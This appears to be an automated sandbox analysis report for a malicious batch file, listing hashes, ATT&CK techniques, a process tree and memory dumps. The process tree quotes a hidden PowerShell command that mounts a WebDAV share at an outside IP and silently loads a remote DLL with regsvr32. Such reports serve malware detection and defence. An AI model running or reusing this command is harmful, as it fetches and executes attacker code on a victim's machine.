fc86bee8884d91bb7a14868dcce8711f4a1e322161d1906b9cee30bfff54a968

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 08:50

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General

Target

220492452523329258.bat
Size

2KB
MD5

656286fd53ee33b8ebd42c3df4b0f965
SHA1

c82184890e231d2941350aa4d5d51fddf22d0ab8
SHA256

14c6fda2442d0cdcae8eefb7bcc5589a39ee105e664386b0a796a13eba736b4f
SHA512

da60971ae27c2e426c20c37feb3eb39af59b934d04568461e34752cfbb35ef185db67db801abc2b301462fd0ee234970ee7b45bd990708a986ede88b072bc8aa

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2136	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2136	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2136	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2876	wordpad.exe
2876	wordpad.exe
2876	wordpad.exe
2876	wordpad.exe
2876	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 2876	3056	cmd.exe	32
PID 3056 wrote to memory of 2876	3056	cmd.exe	32
PID 3056 wrote to memory of 2876	3056	cmd.exe	32
PID 3056 wrote to memory of 2136	3056	cmd.exe	33
PID 3056 wrote to memory of 2136	3056	cmd.exe	33
PID 3056 wrote to memory of 2136	3056	cmd.exe	33
PID 2136 wrote to memory of 2736	2136	powershell.exe	35
PID 2136 wrote to memory of 2736	2136	powershell.exe	35
PID 2136 wrote to memory of 2736	2136	powershell.exe	35
PID 2136 wrote to memory of 2860	2136	powershell.exe	36
PID 2136 wrote to memory of 2860	2136	powershell.exe	36
PID 2136 wrote to memory of 2860	2136	powershell.exe	36
PID 2136 wrote to memory of 2860	2136	powershell.exe	36
PID 2136 wrote to memory of 2860	2136	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\220492452523329258.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\9908521022951.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2736
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\9908521022951.dll
    3⤵
    PID:2860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2136-22-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/2136-23-0x0000000001E90000-0x0000000001E98000-memory.dmp

Filesize
32KB

Download